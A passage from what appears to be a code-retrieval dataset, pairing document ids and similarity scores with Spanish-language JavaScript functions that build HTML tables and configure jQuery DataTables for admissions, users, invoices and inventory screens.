\"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.certificadoMedico === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-certificado-medico-input\";\r\n o.setAttribute(\"onChange\",\"enviarCertificadoMedico()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.name = \"Aprobar\";\r\n o.id = \"admisiones-certificado-medico-button\";\r\n o.setAttribute(\"onClick\",\"aprobarCertificadoMedico()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n \r\n\r\n \r\n \r\n tbl.appendChild(tblBody);\r\n tbl.setAttribute(\"border\", \"2\");\r\n \r\n console.info(\"Tabla generada exitosamente\");\r\n \r\n \r\n\r\n}", "title": "" }, { "docid": "1c36fcb15646f81364b82df08bcf466c", "score": "0.59455633", "text": "function Mostrar(idOT, TipoTabla) {\n\n var table = document.getElementById('Tabla').getElementsByTagName('tbody')[0];\n var LimiteFilas = table.rows.length;\n var index = 0;\n for (index; index < LimiteFilas; index++) {\n\n var row = table.rows[index];\n var identificador = 'RowsFlujo' + idOT;\n //console.log(\"id fila: \" + row.id + \" identificador: \" + identificador);\n if (identificador == row.id) { //Fila seleccionada \n let AreaConectada = localStorage.getItem(\"Area\");\n var combo = document.getElementById(\"ListArea\");\n var selected = combo.options[combo.selectedIndex].text;\n\n //Solo Calidad puede enviar a Embarques\n if (selected != 'Calidad') {\n let ListEmbarque = document.getElementById(\"ListEmbarque\");\n ListEmbarque.disabled = true;\n let ListTratamiento = document.getElementById(\"ListTratamiento\");\n ListTratamiento.disabled = true;\n }\n\n if ((selected == AreaConectada) || (AreaConectada == 'Tratamientos' && selected == 'Trat. Externos')) { //Solo editar El area correspondiente a su cargo y area\n if (localStorage.getItem(\"Area\") != 'Embarques') { //Solo mostrar el boton finalizar flujo a embarques\n document.getElementById(\"ButFinalizarFlujo\").style.display = \"none\";\n }\n\n if (localStorage.getItem(\"Area\") != 'Producción') { //Solo mostrar el boton finalizar flujo a embarques\n document.getElementById(\"NuevoProceso\").style.display = \"none\";\n }\n\n var tabla = document.getElementById(TipoTabla);\n //document.ready = document.getElementById(\"R_Planta\").value = tabla.rows[(indice + 1)].cells[6].childNodes[0].nodeValue;\n //document.ready = document.getElementById(\"R_Area\").value = tabla.rows[(indice + 1)].cells[5].childNodes[0].nodeValue;\n if (TipoTabla == 'Tabla') {\n localStorage.removeItem('R_id'); // Elimina el elemento de memoria \n localStorage.setItem('R_id', tabla.rows[(index + 1)].getAttribute(\"data-indexdb\" + idOT));\n } else {\n localStorage.removeItem('R_id'); // Elimina el elemento de memoria \n localStorage.setItem('R_id', tabla.rows[(index + 1)].getAttribute(\"data-indexesperadb\" + idOT));\n }\n\n localStorage.removeItem('R_Planta'); // Elimina el elemento de memoria \n localStorage.setItem('R_Planta', document.getElementById(\"Planta\").value);\n\n document.getElementById(\"R_OT\").value = tabla.rows[(index + 1)].cells[2].childNodes[0].nodeValue;\n document.getElementById(\"R_Parte\").value = tabla.rows[(index + 1)].cells[3].childNodes[0].nodeValue;\n document.getElementById(\"R_Cantidad\").value = tabla.rows[(index + 1)].cells[8].childNodes[0].nodeValue;\n let TotalRecibido = tabla.rows[(index + 1)].cells[9].childNodes[0].nodeValue\n let Enviados = tabla.rows[(index + 1)].cells[10].childNodes[0].nodeValue;\n document.getElementById(\"R_CantidadTotal\").value = parseInt(TotalRecibido) - parseInt(Enviados);\n document.getElementById(\"R_Maquina\").value = tabla.rows[(index + 1)].cells[4].childNodes[0].nodeValue;\n //document.getElementById(\"R_Area\").value = tabla.rows[(indice+1)].cells[5].childNodes[0].nodeValue;\n \n document.getElementById(\"R_Inicio\").value = tabla.rows[(index + 1)].cells[0].childNodes[0].nodeValue;\n var fecha = moment(tabla.rows[(index + 1)].cells[1].childNodes[0].nodeValue).format('YYYY-MM-DD');\n document.getElementById(\"R_Fin\").value = fecha;\n document.getElementById(\"R_Recibido\").value = tabla.rows[(index + 1)].cells[9].childNodes[0].nodeValue\n\n $(\"#ModalEditarFlujo\").modal();\n /*setTimeout(function () {\n var widthModal = document.getElementById(\"GraficaGant\");\n var Ancho = widthModal.clientWidth;\n Grafica(Ancho);\n }, 500);*/\n let Area = localStorage.getItem('Area');\n //Agrear solo lectura cuando no es area de produccion\n if (Area != 'Producción') {\n $(\"#R_Recibido\").attr(\"readonly\", \"readonly\");\n $(\"#R_Extra\").attr(\"readonly\", \"readonly\");\n }\n }\n }\n }\n}", "title": "" }, { "docid": "d73d1c0a2c21c6f84781a3c333b307b9", "score": "0.5942968", "text": "function listarMovtos(){\n tabla=$('#TablaMovtos').dataTable(\n\t{\n\t\t\"aProcessing\": true,//Activamos el procesamiento del datatables\n\t \"aServerSide\": true,//Paginación y filtrado realizados por el servidor\n\t\t\"lengthMenu\": [ [10, 25, 50,100, -1], [10, 25, 50, 100, \"Todos\"] ],\n \"language\": {\n\t\t\"sProcessing\": \"Procesando...\",\n \"sLengthMenu\": \"Mostrar _MENU_ registros &nbsp\",\n \"sZeroRecords\": \"No se encontraron resultados\",\n \"sEmptyTable\": \"Ningún dato disponible en esta tabla\",\n \"sInfo\": \"Mostrar registros del _START_ al _END_ de un total de _TOTAL_\",\n\t\t\"sInfoFiltered\": \"(filtrado de un total de _MAX_ registros)\",\n\t\t\"sInfoPostFix\": \"\", \n \"sSearch\": \"Buscar:\",\n \"sInfoThousands\": \",\",\n \"sLoadingRecords\": \"Cargando...\",\n \"oPaginate\": {\n\t\t\"sFirst\": \"Primero\",\n\t\t\"sLast\": \"Último\",\n\t\t\"sNext\": \"Siguiente\",\n\t\t\"sPrevious\": \"Anterior\"}\n },\n\t\t\"oAria\": {\n\t\t\t\"sSortAscending\": \": Activar para ordenar la columna de manera ascendente\",\n\t\t\t\"sSortDescending\": \": Activar para ordenar la columna de manera descendente\"\n\t\t},\n dom: '<clear>Bfrtip',\n buttons: [\n {\n text: 'Copiar',\n extend: 'copy'\n },\n {\n extend: 'csvHtml5',\n title: 'infoCsv'\n }, \n {\n extend: 'excelHtml5',\n title: 'infoExcel'\n }, \n {\n extend: 'pdfHtml5',\n orientation: 'landscape',\n title: \"AdminLTE\",\n customize: function ( doc ) {\n pdfMake.createPdf(doc).open();\n },\n },\n {\n extend: 'print',\n text: 'Imprimir',\n autoPrint: false //TRUE para abrir la impresora\n }\n ],\n initComplete: function () {\t\t\t//botones pequeños y color verde\n var btns = $('.dt-button');\n btns.removeClass('dt-button');\n btns.addClass('btn btn-success btn-sm');\n }, \n\t\t\"ajax\":\n\t\t\t\t{\n\t\t\t\t\turl: 'ajax/tipomov.ajax.php?op=listarmov',\n\t\t\t\t\ttype : \"get\",\n\t\t\t\t\tdataType : \"json\",\t\t\t\t\t\t\n\t\t\t\t\terror: function(e){\n\t\t\t\t\t\tconsole.log(e.responseText);\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\"bDestroy\": true,\n\t\t\"iDisplayLength\": 10//Paginación\n\t //\"order\": [[ 0, \"ASC\" ]]//Ordenar (columna,orden)\n\t}).DataTable(); \n \n}", "title": "" }, { "docid": "edf30031d0a5a91e816beb41c4568b39", "score": "0.59222406", "text": "function cargarTablas() {\n\n\n\n var dataTablePersonas_const = function () {\n if ($(\"#dt_personas\").length) {\n $(\"#dt_personas\").DataTable({\n dom: \"Bfrtip\",\n bFilter: false,\n ordering: false,\n buttons: [\n {\n extend: \"copy\",\n className: \"btn-sm\",\n text: \"Copiar\"\n },\n {\n extend: \"csv\",\n className: \"btn-sm\",\n text: \"Exportar a CSV\"\n },\n {\n extend: \"print\",\n className: \"btn-sm\",\n text: \"Imprimir\"\n }\n\n ],\n \"columnDefs\": [\n {\n targets: 6,\n className: \"dt-center\",\n render: function (data, type, row, meta) {\n var botones = '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"showPersonasByID(\\''+row[0]+'\\');\">Cargar</button> ';\n botones += '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"deletePersonasByID(\\''+row[0]+'\\');\">Eliminar</button>';\n return botones;\n }\n }\n\n ],\n pageLength: 2,\n language: dt_lenguaje_espanol,\n ajax: {\n url: '../backend/controller/personasController.php',\n type: \"POST\",\n data: function (d) {\n return $.extend({}, d, {\n action: \"showAll_personas\"\n });\n }\n },\n drawCallback: function (nRow, aData, iDisplayIndex, iDisplayIndexFull) {\n $('#dt_personas').DataTable().columns.adjust().responsive.recalc();\n }\n });\n }\n };\n\n\n\n TableManageButtons = function () {\n \"use strict\";\n return {\n init: function () {\n dataTablePersonas_const();\n $(\".dataTables_filter input\").addClass(\"form-control input-rounded ml-sm\");\n }\n };\n }();\n\n TableManageButtons.init();\n}", "title": "" }, { "docid": "66ff2086ad15932f30f6db3793d7c755", "score": "0.5913298", "text": "function cargarTablas() {\n\n\n\n var dataTableUsuarios_const = function () {\n if ($(\"#dt_usuarios\").length) {\n $(\"#dt_usuarios\").DataTable({\n dom: \"Bfrtip\",\n bFilter: false,\n ordering: false,\n buttons: [\n {\n extend: \"copy\",\n className: \"btn-sm\",\n text: \"Copiar\"\n },\n {\n extend: \"csv\",\n className: \"btn-sm\",\n text: \"Exportar a CSV\"\n },\n {\n extend: \"print\",\n className: \"btn-sm\",\n text: \"Imprimir\"\n }\n\n ],\n \"columnDefs\": [\n {\n targets: 6,\n className: \"dt-center\",\n render: function (data, type, row, meta) {\n var botones = '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"showUsuariosByID(\\''+row[0]+'\\');\">Cargar</button> ';\n botones += '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"deleteUsuariosByID(\\''+row[0]+'\\');\">Eliminar</button>';\n return botones;\n }\n }\n\n ],\n pageLength: 2,\n language: dt_lenguaje_espanol,\n ajax: {\n url: '../backend/controller/usuariosController.php',\n type: \"POST\",\n data: function (d) {\n return $.extend({}, d, {\n action: \"showAll_usuarios\"\n });\n }\n },\n drawCallback: function (nRow, aData, iDisplayIndex, iDisplayIndexFull) {\n $('#dt_usuarios').DataTable().columns.adjust().responsive.recalc();\n }\n });\n }\n };\n\n\n\n TableManageButtons = function () {\n \"use strict\";\n return {\n init: function () {\n dataTableUsuarios_const();\n $(\".dataTables_filter input\").addClass(\"form-control input-rounded ml-sm\");\n }\n };\n }();\n\n TableManageButtons.init();\n}", "title": "" }, { "docid": "fc28bc489aa8319b99f0e66238fe5679", "score": "0.59123665", "text": "function CargarTabla(lista) {\r\n cantidadDeDonaciones(lista);\r\n promedioDedonaciones(lista);\r\n totalGeneral(lista);\r\n mayorDonacion();\r\n let tabla = document.getElementById(\"tabla\");\r\n tabla.innerHTML = \"\";\r\n let fila2 = tabla.insertRow();\r\n let celdas1 = fila2.insertCell();\r\n celdas1.innerHTML = \"Donante\";\r\n let celdas2 = fila2.insertCell();\r\n celdas2.innerHTML = \"Monto\";\r\n let celdas3 = fila2.insertCell();\r\n celdas3.innerHTML = \"Modo\";\r\n let celdas4 = fila2.insertCell();\r\n celdas4.innerHTML = \"Comentarios\";\r\n for (let elem of lista) {\r\n let fila = tabla.insertRow();\r\n let celda1 = fila.insertCell();\r\n celda1.innerHTML = elem.donante.nombre + \"(\" + elem.donante.direccion + \",\" + elem.donante.telefono + \")\";\r\n let celda2 = fila.insertCell();\r\n celda2.innerHTML = elem.monto;\r\n let celda3 = fila.insertCell();\r\n celda3.innerHTML = elem.modo;\r\n let celda4 = fila.insertCell();\r\n celda4.innerHTML = elem.comentarios;\r\n }\r\n resaltarMayores();\r\n}", "title": "" }, { "docid": "56425177e3c4b7f1c47a5cab94f7711d", "score": "0.59112877", "text": "function setTablaClientes(datos) {\n let colTr;\n let colTdId;\n let contenidoId;\n let colTdNombre;\n let contenidoNombre;\n let colTdApellido;\n let contenidoApellido;\n let colTdDni;\n let contenidoDni;\n let tbody = document.querySelector(\"tbody\");\n tbody.innerHTML = \"\";\n for (let index = 0; index < datos.length; index++) {\n colTr = document.createElement(\"tr\");\n colTdId = document.createElement(\"td\");\n contenidoId = document.createTextNode(datos[index].id);\n colTdId.appendChild(contenidoId);\n colTr.appendChild(colTdId);\n colTdNombre = document.createElement(\"td\");\n contenidoNombre = document.createTextNode(datos[index].nombre);\n colTdNombre.appendChild(contenidoNombre);\n colTr.appendChild(colTdNombre);\n colTdApellido = document.createElement(\"td\");\n contenidoApellido = document.createTextNode(datos[index].apellido);\n colTdApellido.appendChild(contenidoApellido);\n colTr.appendChild(colTdApellido);\n colTdDni = document.createElement(\"td\");\n contenidoDni = document.createTextNode(datos[index].dni);\n colTdDni.appendChild(contenidoDni);\n colTr.appendChild(colTdDni);\n tbody.appendChild(colTr);\n }\n}", "title": "" }, { "docid": "9a777dead7bfa2c2e2030791221bc909", "score": "0.59092313", "text": "function fbCamposABloquear(tipoAccion){\n\t/*\n\t\t\t'selectUnidadNegocio':'UR',\n\t\t\t'selectUnidadEjecutora':'UE',\n\t*/\n\tvar\tCamposABloquear = [{\n\t\t\t'LocCode':'Código de Almacén'\n\t\t}];\n\n\t$.each(CamposABloquear[0],function(index, el) {\n\t\tif($('#'+index).is(\"select\")){\n\t\t\t$('#'+index).\n\t\t\tmultiselect( tipoAccion ? \"disable\" : \"enable\" );\n\t\t}else{\n\t\t\t//$('#'+index).prop('readonly', tipoAccion);\n\t\t\t$('#'+index).attr('readonly', tipoAccion);\n\t\t\tif(!tipoAccion){\n\t\t\t\t$('#'+index).removeAttr(\"readonly\");\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "75eb8a3cea3618c2776e8a2c97a1ebd2", "score": "0.5908731", "text": "function abrirTabla() {\n\n $.get(\"/api/equipos\", function(data, status){\n\n var tablaOrdenada = ordenarTabla(data);\n mostrarTabla(tablaOrdenada);\n });\n}", "title": "" }, { "docid": "d162085bd457b08f9f3830c029d2876f", "score": "0.5902132", "text": "function dibujaTablero() {\n\t// Crear la tabla con el tablero de juego\n\tvar html = \"<table id='tblTablero' cellpadding=0 cellspacing=0 align='center'><tr><td colspan='\"+this.columnas+1+\"' align='center'><div id='ganador'></div><div class='turno_rojo' id='turno_rojo'><b>TURNO ROJO</b></div><div class='turno_azul' id='turno_azul' style='opacity:0'><b>TURNO AZUL</b></div></td></tr><tr>\";\n\t// Botones para colocar ficha\n\tfor (var i=0; i<this.columnas; i++)\n\t\thtml += \"<td><input type='button' value='Ficha' id='btnCol_\"+i+\"'><script type=\\\"text/javascript\\\">$(\\\"#btnCol_\"+i+\"\\\").click(colocarFicha);</script></td>\";\n\thtml += \"<td id='celda_blanco'><div>&nbsp;</div></td></tr>\";\n\t// Crear cada celda del tablero con un div para usarlo según los colores del turno\n\tfor (var i=0; i<this.filas; i++) {\n\t\thtml += \"<tr>\";\n\t\tfor (var j=0; j<this.columnas; j++)\n\t\t\thtml+= \"<td id='celda_\"+i+\"_\"+j+\"' class='casilla'><div id='div_\"+i+\"_\"+j+\"' >&nbsp;</div></td>\";\n\t\thtml += \"<td id='celda_blanco'><div>&nbsp;</div></td><tr>\";\n\t}\n\thtml+= \"</tr>\";\n\thtml+= \"</table>\";\n\t// Coloca el html generado\n\t$(\"#panelJuego\").html(html);\n\t\n}", "title": "" }, { "docid": "49e36cd3e0d1e9d2dd78a23f85d0e5e7", "score": "0.58976185", "text": "function cargarTablas() {\n\n\n\n var dataTableClientes_const = function () {\n if ($(\"#dt_facturas_detalles\").length) {\n $(\"#dt_facturas_detalles\").DataTasble({\n dom: \"Bfrtip\",\n bFilter: false,\n ordering: false,\n buttons: [\n {\n extend: \"copy\",\n className: \"btn-sm\",\n text: \"Copiar\"\n },\n {\n extend: \"csv\",\n className: \"btn-sm\",\n text: \"Exportar a CSV\"\n },\n {\n extend: \"print\",\n className: \"btn-sm\",\n text: \"Imprimir\"\n }\n\n ],\n \"columnDefs\": [\n {\n targets: 5,\n className: \"dt-center\",\n render: function (data, type, row, meta) {\n var botones = '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"showFacturas_DetallesByID(\\''+row[0]+'\\');\">Cargar</button> ';\n botones += '<button type=\"button\" class=\"btn btn-default btn-xs\" aria-label=\"Left Align\" onclick=\"deleteFacturas_DetallesByID(\\''+row[0]+'\\');\">Eliminar</button>';\n return botones;\n }\n }\n\n ],\n pageLength: 2,\n language: dt_lenguaje_espanol,\n ajax: {\n url: '../backend/controller/cfacturas_detallesController.php',\n type: \"POST\",\n data: function (d) {\n return $.extend({}, d, {\n action: \"showAll_facturas_detalles\"\n });\n }\n },\n drawCallback: function (nRow, aData, iDisplayIndex, iDisplayIndexFull) {\n $('#dt_facturas_detalles').DataTable().columns.adjust().responsive.recalc();\n }\n });\n }\n };\n\n\n\n TableManageButtons = function () {\n \"use strict\";\n return {\n init: function () {\n dataTableFacturas_Detalles_const();\n $(\".dataTables_filter input\").addClass(\"form-control input-rounded ml-sm\");\n }\n };\n }();\n\n TableManageButtons.init();\n}", "title": "" }, { "docid": "2649fe987c2039ebf1c4c2b08cb9a5c4", "score": "0.5895296", "text": "function iniciar(){\n tablero_colores=new Array(filas)\n tablero_fichas=new Array(filas)\n for(var i = 0; i < filas; i++){\n\t\ttablero_colores[i] = new Array(columnas);\n\t\ttablero_fichas[i] = new Array(columnas);\n\t}\n}", "title": "" }, { "docid": "f1371610c440717871e4d169cd30b94b", "score": "0.58929116", "text": "function mostrarTablaCursosPermanentesInscritos(){\r\n\r\n if(cursosPermanentes.length === 0){\r\n \r\n console.error(\"La tabla no contiene ningun elemento, por favor agreguele elementos\"); \r\n \r\n }else{\r\n \r\n var tbl = document.getElementById(\"tabla-cursos-permanentes-inscritos\");\r\n\r\n // borrando el contenido de la tabla si existe para que no se repital\r\n tbl.innerHTML = \"\";\r\n\r\n var tblBody = document.createElement(\"tbody\"); \r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"ID\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Nombre\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Duracion\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Modalidad\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Tipo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n \r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n\r\n for (var i = 0; i < usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente.length; i++) {\r\n\r\n\r\n\r\n if(i > 0){\r\n if(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i + 1].area != usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].area){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].area);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"5\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n }else if(i === 0){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[0].area);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"5\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(i);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].nombre);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].duracion);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].modalidad);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasPermanentesSeleccionadasActualmente[i].tipo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n \r\n\r\n tblBody.appendChild(fila);\r\n \r\n }\r\n \r\n \r\n tbl.appendChild(tblBody);\r\n tbl.setAttribute(\"border\", \"2\");\r\n \r\n console.info(\"Tabla generada exitosamente\");\r\n \r\n }\r\n\r\n}", "title": "" }, { "docid": "e4160e8749a065a46eec9eab8ec2ab01", "score": "0.58907276", "text": "function limpiaCampos(idforma) {\n\t\n}", "title": "" }, { "docid": "ab4a20dfd28c475b8042213db9c70e9e", "score": "0.5888066", "text": "function listarAlmacenesRelServ(){\n\t\n $('#simpletablerel').DataTable( {\n\t \n \tsort:true,\n \tdestroy: true,\n \tsearching: true,\n \tpaging: false, // le quito el paging porque no deja cargar los switches de las otras paginas\n \t\n \tlanguage: {\n \t\turl: '../js2/Spanish.json'\n },\n ajax: {\n \turl:\"/CBPult/Almacen/listaAlmacenes\",\n dataSrc: ''\n \t\n }, \n columns: [ \n \t\n {\n \"class\": \"uno\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \treturn '<center><input type=\"checkbox\" class=\"js-switch-blue\" data-switchery=\"true\" style=\"display: none;\"></center>';\n }\n },\n \t {\n \"data\": \"idWarehouse\", // can be null or undefined\n \"class\": \"dos\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \t\treturn '<center>'+data+'</center>';\n \t}\n },\n {\n \"data\": \"tipoAlmacenId\", // can be null or undefined\n \"class\": \"cinco\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \t\treturn '<center>'+data+'</center>';\n \t}\n },\n {\n \"data\": \"warehouseName\", // can be null or undefined\n \"class\": \"tres\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \t\treturn '<center>'+data+'</center>';\n \t}\n }, \n {\n \"data\": \"direccion\", // can be null or undefined\n \"class\": \"cuatro\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \t\treturn '<center>'+data+'</center>';\n \t}\n }, \n {\n \"data\": \"gerenteSucursal\", // can be null or undefined\n \"class\": \"seis\",\n \"defaultContent\": \"\",\n \"render\": function ( data ) {\n \t\treturn '<center>'+data+'</center>';\n \t}\n } \n ],\n // ejecuta una funcion Despues de Cargar los Registros de la Tabla\n // lo uso para cargar la clase de los Switches\n initComplete: function( settings, json){\n //Cargar Switches\n\t\t\tArray.prototype.forEach.call($('.js-switch-blue'), (item, i)=>{\n\t\t\t\tvar actual_switch = new Switchery(item, {\n\t\t\t\t\tcolor: '#17a2b8',\n\t\t\t\t\tsecondaryColor: '#e0e0e0',\n\t\t\t\t\tjackSecondaryColor: '#17a2b8'\n\t\t\t\t});\n\t\t\t});\n },\n \n });\n \n}", "title": "" }, { "docid": "880ea2e69971d1f402a7ab92b65b4c84", "score": "0.5882847", "text": "function generaTablaBusquedaUsuarios(usuarios, opc)\n{\n var tabla = '<table id=\"tabla_busqueda\" class=\"table table-striped table-bordered table-condensed dataTable no-footer dt-responsive\" role=\"grid\" cellspacing=\"0\" width=\"100%\" >'+\n '<thead>'+\n '<tr>'+\n '<th>N&#176; Contrato <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '<th>Nombre <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '<th>Desarrollo <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '<th>Acci&oacute;n <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '</tr>'+\n '</thead>'+\n '<tbody>';\n usuarios.forEach(function(usuario){\n tabla += '<tr>'+\n '<td>'+usuario.numContrato+'</td>'+\n '<td>'+usuario.nombre+'</td>'+\n '<td>'+usuario.desarrollo+'</td>';\n if(opc == 1)\n {\n tabla += '<td><a class=\"cursorPointer\" onclick=\"guardarBusquedaHistorico('+usuario.idUsuario+','+usuario.idVivienda+')\">Ver</a></td>';\n }\n else\n {\n tabla += '<td style=\"text-align: center\">';\n tabla += '<a class=\"cursorPointer\" onclick=\"cargarInfoClienteParaEditar('+usuario.idUsuario+','+usuario.idVivienda+', \\''+usuario.numContrato+'\\', \\''+usuario.nombre+'\\')\" title=\"Editar informacion del cliente\"><img src=\"../images/icon_info.png\" class=\"iconoDesactivar\" ></a>&nbsp;&nbsp;';\n if( $(\"#permisoSubirDocs\").val() == 1 )\n {\n tabla += '<a class=\"cursorPointer\" onclick=\"cargarDocumentosCliente('+usuario.idUsuario+','+usuario.idVivienda+')\" title=\"Subir documentos del cliente\"><img src=\"../images/icon_archive.png\" class=\"iconoDesactivar\" ></a>';\n }\n tabla += '</td>';\n }\n tabla += '</tr>';\n });\n tabla += '</tbody>'+\n '</table>';\n return tabla;\n}", "title": "" }, { "docid": "8258ef31cc6b0a37b0040b2f9bb3b97f", "score": "0.58804756", "text": "function getDepartamentosTabla() {\n $http.post(\"Departamentos/getDepartamentosTabla\").then(function (r) {\n if (r.data.cod == \"OK\") {\n vm.lista.data = r.data.d.departamentosTabla\n vm.lista.disp = [].concat(vm.lista.data);\n }\n })\n }", "title": "" }, { "docid": "e0477c1253921af2a5066d7bbcbe3e6a", "score": "0.5872816", "text": "function buscar_ambiente() {\n var ambientes = peticion(\"peticionesAjaxAmbiente&p=mostrar\", \"GET\", null);\n let template = '';\n ambientes.forEach(ambiente => {\n template += `\n <tr data-id=\"${ambiente['id_amb']}\">\n <td>${ambiente['nombre_ambiente']}</td>\n <td>${ambiente['descripcion_ambiente']}</td>\n <td class=\"cont_boton\">\n <div class=\"editar\"><i class=\"icon-pencil\"></i></div>\n <div class=\"borrar\"><i class=\"icon-bin\"></i></div>\n </td>\n </tr>`\n });\n $('#lista_ambiente').html(template);\n}", "title": "" }, { "docid": "d1fd19bdd7504cc82b5a31063748d8b0", "score": "0.58709556", "text": "function mostrarAltaMatricula(){\n ocultarTodosFormularios();\n\n var oCapa = document.getElementById(\"altaMatricula\");\n limpiarCampos(oCapa);\n oCapa.classList.remove(\"oculto\");\n oCapa.classList.add(\"capaVisible\");\n}", "title": "" }, { "docid": "05ef2c6a4f26c706d6863698f7d532dd", "score": "0.5865918", "text": "function listarCotizaciones() {\n\n /** Limpia datatable para evitar error \" Cannot reinitialise DataTable\" */\n table = $('#tblCotizaciones').DataTable().destroy();\n var _token= $('input[name=_token]').val();\n\n tblCotizaciones = setDataTable(\"#tblCotizaciones\", {\n ajax: {\n type: 'POST',\n url: '/factura/cotizaciones', //llamada a la ruta\n data: {\n _token:_token\n },\n },\n columnDefs:[\n {\n targets: 5,\n data: null,\n orderable: false,\n render: function (json) {\n $estado =json[5];\n if ($estado==4)\n return '<span class=\"label primary\">Tramite</span>';\n if ($estado==5)\n return '<span class=\"label default\">Impresa</span>';\n }\n },\n {\n targets: -1,\n data: null,\n orderable: false,\n defaultContent: '<button class=\"btn btn-info\" title=\"Selecciona el registro\" onclick=\"selectCotizacion(this)\" data-dismiss=\"modal\"><i class=\"fa fa-check\"> </i> </button>'\n }\n ]\n });\n\n }", "title": "" }, { "docid": "50c43412a117ce25362f55697ff164ab", "score": "0.583184", "text": "function rellenar_tablero_aleatoriamente(minimo, maximo)\n {\n //Si la pagina no se ha cargado todavia, sale de la funcion:\n if (!pagina_cargada) { return; }\n\n if (minimo > maximo) { maximo = minimo + 1; }\n var puestos = 0, numero_celda, x = 0, y = 0;\n \n do\n {\n y = Math.floor(Math.random() * tablero_alto);\n x = Math.floor(Math.random() * tablero_ancho);\n if (puestos < maximo)\n {\n valor = Math.floor(Math.random() * 2);\n if (valor != 0) { tablero[y][x] = valor; puestos++; }\n \n }\n if (puestos > minimo && Math.floor(Math.random() * 100) > 80) { break; }\n } while (puestos < maximo);\n \n pintar_tablero();\n }", "title": "" }, { "docid": "30c7e71c00768a36445745402d36a38f", "score": "0.5830648", "text": "function listar(cuadro){\n\t\t$('#tabla tbody').off('click');\n\t\tcuadros(cuadro, \"#cuadro1\");\n\t\tvar url=document.getElementById('ruta').value; //obtiene la ruta del input hidden con la variable <?=base_url()?>\n\t\tvar table=$(\"#tabla\").DataTable({\n\t\t\t\"destroy\":true,\n\t\t\t\"stateSave\": 